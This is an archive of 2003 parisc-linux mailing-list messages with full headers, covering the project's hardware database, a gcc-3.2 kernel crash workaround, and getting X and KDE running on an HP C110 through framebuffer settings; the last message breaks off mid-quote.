Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 32A8F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:27:43 -0700 (MST)
Original-Received: (qmail 2520 invoked by uid 0); 30 Jan 2003 15:27:37 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.643555 secs); 30 Jan 2003 15:27:37 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.217.144)
  by mail.goquest.com with SMTP; 30 Jan 2003 15:27:37 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <03013008454600.00780@localhost.localdomain>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17555

Group.

I was just browsing the pages, trying to get an idea if I had
just volunteered for a 2-line change or a 2-million line change...

Question 1:
The user registration form says "... You will not be contacted..."

I always read that as: "We will not spam you with advertisements."
But others may have read that as: "You will not be contacted."

Possible answers :
1.a - Give up on the idea of recommending this use of the
hardware database information.

1.b - Add a field meaning: "Willing to give advice on this."
Then initialize that field for all current members to "No".

1.c - Hide the email address field from public view
(developer only view, like it says now) unless the 
"Willing to give advice on this." thing is marked.

Question 2:
Is there a way to update this registration information?

2.a - At this time, my e-mail address is wrong, I would like
to update it.

2.b - If we set all existing users to 1.b - "No"; is there a 
way for them to update it to "Yes"?

Mike

On Thursday 30 January 2003 08:45 am, Michael S.Zick wrote:
> On Thursday 30 January 2003 04:59 am, Beerse, Corn wrote:
> > Why did nobody point to the hardware database:
> > http://hwdb.parisc-linux.org/
> >
> > There are some users of a D210 reported there:
> > http://hwdb.parisc-linux.org/view.php3?type=machine&name=D210
> >
> > They will know some ins and outs.
> >
> > CBee
>
> Good point...
>
> Perhaps because it is refered to as a "hardware database" ?
> Using something called a "hardware database" to find persons
> experienced in a certain machine can indeed be very helpful;
> but not an obvious use going by its name.
>
> "tweaking" a web page or two to make this usage clear
> to the newcomer might help.
>
> Who would be a good contact for such a change?
>
> Mike
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RE: X windows setup on C110 with woody and ker
	 nel-2.4.20pa22
Date: Thu, 30 Jan 2003 09:27:07 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB554@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2C874.0CE3C350"
X-Trace: ger.gmane.org 1416622165 20821 80.91.229.3 (22 Nov 2014 02:09:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Keith Hopkins' <kxh3@wwarc1.atl.hp.com>,
	"Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:30:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CEA7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:30:34 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7HF29>; Thu, 30 Jan 2003 09:27:09 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17556

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2C874.0CE3C350
Content-Type: text/plain;
	charset="iso-8859-1"

Hello Keith,

Find attached output of "dmesg | grep -e STI -e stifb".

There seems to be some progress with addition of depth 24 section following
32 one but thats just what I felt ;-).


-----Original Message-----
From: Keith Hopkins [mailto:kxh3@wwarc1.atl.hp.com]
Sent: Wednesday, January 29, 2003 9:07 PM
To: Mehta, Miten
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] RE: X windows setup on C110 with woody and
ker nel-2.4.20pa22


Mehta, Miten wrote:
> Hello,
> 
> I still get errors for depth 24 though some what different.
> 
> take a look at xfree log attached.
> 

Please post the output of  "dmesg | grep -e STI -e stifb".

--
Best Regards,
    Keith





------_=_NextPart_000_01C2C874.0CE3C350
Content-Type: text/plain;
	name="dmesg_sti.txt"
Content-Disposition: attachment;
	filename="dmesg_sti.txt"

STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000

------_=_NextPart_000_01C2C874.0CE3C350--


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 30 Jan 2003 17:38:32 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20030130153832.GA12052__37642.958868719$1416622166$gmane$org@marmite.its.uct.ac.za>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca> <20030127072615.GF8487@tausq.org> <20030128073101.GD20940@tausq.org> <20030128074607.GE20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622166 20825 80.91.229.3 (22 Nov 2014 02:09:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:38:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D7DC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:38:43 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 18eGm1-000H7T-00; Thu, 30 Jan 2003 17:38:41 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 83BAB1A331; Thu, 30 Jan 2003 17:38:32 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20030128074607.GE20940@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17557

On Mon, Jan 27, 2003 at 11:46:07PM -0800, Randolph Chung wrote:
> In reference to a message from Randolph Chung, dated Jan 27:
> > > well.... Grant and I did some more debugging on this.... here's what
> > > we've tried so far:
> > 
> > ok, here's what's happening apparently.... (with many thanks to Grant 
> > for a sharp eye :)
> 
> there's a temporary workaround in cvs now (2.4.20-pa23). For people
> who have seen the crash with gcc-3.2, please give it a try and let us 
> know how it goes.
[snip]

Since you seem to have found the problem, this is probably not relevant,
but I found this on Kernel Traffic:

	Alan remarked, "2.5.x crashes erratically and randomly under
	high tty/pty load.  At the moment I'm assuming this is the tty
	code. That means we can't decide not to fix it since its already
	fatally broken." Close by, Linus Torvalds said he didn't think
	the TTY code was in such bad shape. He guessed there were just a
	few locking problems that had crept in, coupled with the
	preemption patches' tendency to expose existing locking bugs.

It sounds vaguely related, except maybe for the "high load" bit.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 16:38:58 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <F2992630-3468-11D7-9F6F-0030656F07A2@esiee.fr>
References: <20030130150208.GM20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622166 20827 80.91.229.3 (22 Nov 2014 02:09:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:26 +0000 (UTC)
Cc: "Michael S.Zick" <mszick@goquest.com>,
	"Beerse, Corn?" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	grundler@dsl2.external.hp.com, Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:39:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95A714841
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:39:13 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 0C7BB49C32; Thu, 30 Jan 2003 16:39:11 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id B869F49C43; Thu, 30 Jan 2003 16:38:58 +0100 (CET)
In-Reply-To: <20030130150208.GM20940@tausq.org>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17558

On jeudi, jan 30, 2003, at 16:02 Europe/Paris, Randolph Chung wrote:

>> Who would be a good contact for such a change?
>
> there's an email address on many of the hwdb pages
> (hwdb@parisc-linux.org). That'll be a good place to start. I believe it
> currently points to Thibaut :)
yes.

quoting Michael S.Zick:
> "tweaking" a web page or two to make this usage clear
> to the newcomer might help.
Forget about it. You don't even know what it's all about and don't 
wanna know.
If it ain't broke, don't fix it.
let's eventually add a FAQ/News entry on the main website (which can be 
done by anyone
with CVS access), but i'm not gonna change anything to that hwdb before 
long.

i'm currently under heavy exam pressure and have really many other thing
to do. Even on parisc stuff. HWDB is currently ranked at level 
"abyssal" in my TODO list
priority order.

That being stated to avoid any post to hwdb@parisc-linux.org. :)

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 09:34:50 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <03013009345002.00780@localhost.localdomain>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain> <20030130150208.GM20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622166 20831 80.91.229.3 (22 Nov 2014 02:09:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:40:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 9424D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:40:44 -0700 (MST)
Original-Received: (qmail 10572 invoked by uid 0); 30 Jan 2003 15:40:39 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.46289 secs); 30 Jan 2003 15:40:39 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.217.144)
  by mail.goquest.com with SMTP; 30 Jan 2003 15:40:38 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030130150208.GM20940@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17559

Thanks,
Will do.

I posted a separate message to the M-L - just to see
how many:
 "I didn't mean I have the time to answer questions."
sort of responses this idea would raise among the 
M-L members.

Mike

On Thursday 30 January 2003 09:02 am, Randolph Chung wrote:
> > Who would be a good contact for such a change?
>
> there's an email address on many of the hwdb pages
> (hwdb@parisc-linux.org). That'll be a good place to start. I believe it
> currently points to Thibaut :)
>
> randolph


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 09:36:51 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <03013009365103.00780@localhost.localdomain>
References: <F2992630-3468-11D7-9F6F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622167 20834 80.91.229.3 (22 Nov 2014 02:09:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:27 +0000 (UTC)
Cc: "Beerse, Corn?" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	grundler@dsl2.external.hp.com, Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>,
	Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:42:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 295C3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:42:47 -0700 (MST)
Original-Received: (qmail 11826 invoked by uid 0); 30 Jan 2003 15:42:41 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.175781 secs); 30 Jan 2003 15:42:41 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.217.144)
  by mail.goquest.com with SMTP; 30 Jan 2003 15:42:40 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <F2992630-3468-11D7-9F6F-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17560

On Thursday 30 January 2003 09:38 am, Thibaut VARENE wrote:
> On jeudi, jan 30, 2003, at 16:02 Europe/Paris, Randolph Chung wrote:
> >> Who would be a good contact for such a change?
> >
> > there's an email address on many of the hwdb pages
> > (hwdb@parisc-linux.org). That'll be a good place to start. I believe it
> > currently points to Thibaut :)
>
> yes.
>
> quoting Michael S.Zick:
> > "tweaking" a web page or two to make this usage clear
> > to the newcomer might help.
>
> Forget about it. You don't even know what it's all about and don't
> wanna know.
Done


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 30 Jan 2003 07:34:52 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030130153452.GJ11363__22838.5058501319$1416622167$gmane$org@tausq.org>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca> <20030127072615.GF8487@tausq.org> <20030128073101.GD20940@tausq.org> <20030128074607.GE20940@tausq.org> <20030130153832.GA12052@marmite.its.uct.ac.za>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622167 20837 80.91.229.3 (22 Nov 2014 02:09:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:27 +0000 (UTC)
To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:54:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61125482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:54:30 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 588D7CDA56; Thu, 30 Jan 2003 07:34:52 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030130153832.GA12052@marmite.its.uct.ac.za>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17561

> Since you seem to have found the problem, this is probably not relevant,
> but I found this on Kernel Traffic:
> 
> 	Alan remarked, "2.5.x crashes erratically and randomly under
> 	high tty/pty load.  At the moment I'm assuming this is the tty
> 	code. That means we can't decide not to fix it since its already
> 	fatally broken." Close by, Linus Torvalds said he didn't think
> 	the TTY code was in such bad shape. He guessed there were just a
> 	few locking problems that had crept in, coupled with the
> 	preemption patches' tendency to expose existing locking bugs.
> 
> It sounds vaguely related, except maybe for the "high load" bit.

i think this is a completely different problem. the one Grant and I
found is very parisc and compiler specific.

randolph


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RE: X windows setup on C110 with woody and ker
	nel-2.4.20pa22
Date: Thu, 30 Jan 2003 10:50:06 -0600
Lines: 241
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB555@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2C87F.A4580970"
X-Trace: ger.gmane.org 1416622167 20840 80.91.229.3 (22 Nov 2014 02:09:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:27 +0000 (UTC)
Cc: 'Helge Deller' <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: 'Keith Hopkins' <kxh3@wwarc1.atl.hp.com>,
	"Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 09:53:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD6A8482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 09:53:33 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7HF5V>; Thu, 30 Jan 2003 10:50:08 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17562

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2C87F.A4580970
Content-Type: text/plain;
	charset="iso-8859-1"

Hello,

I have got startx command working and giving me KDE.  Please find attached
necessary files.

In short I added DefaultFbBpp 32, mouse as /dev/psaux.

Thanks for help.

Miten.



-----Original Message-----
From: Keith Hopkins [mailto:kxh3@wwarc1.atl.hp.com]
Sent: Wednesday, January 29, 2003 7:15 PM
To: Mehta, Miten
Cc: 'Helge Deller'; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] RE: X windows setup on C110 with woody and
kernel-2.4.20pa22


Mehta, Miten wrote:
> Hey,
> 
> I tried it again and find here xfree log.  I was advised to take X window
> setup to debian-hppa so I did not post to parisc list.  Also find
> XF86Config-4.  
> 
> Actually what I just did I had done that in very first attempt ;-).
Thibaut
> VARENE pointed out some thing which I have not tried to use /dev/psaux in
> place of /dev/input/mice.  Just shall wait for your reponse.
> 
> thanks.
> 
> Miten.
> 
> 
> 
> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de]
> Sent: Wednesday, January 29, 2003 1:57 PM
> To: Mehta, Miten
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: X windows setup on C110 with woody and kernel-2.4.20pa22
> 
> 
> Hi Miten,
> 
> Please don't remove parisc-linux@lists.parisc-linux.org from the receivers
> in the future.
> 
>>From your dmesg this is the important part:
> 
> STI GSC/PCI graphics driver version 0.9
> STI byte mode ROM at f4000000, hpa at f4000000
> STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
> STI device: HPA4071B
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xf4100000
> 
> So, if you change the in SubSection "Display" the Depth to 32 it should
> work:
> Example:
>     SubSection "Display"
>                 Depth           32               # 8, 16, 24 or 32
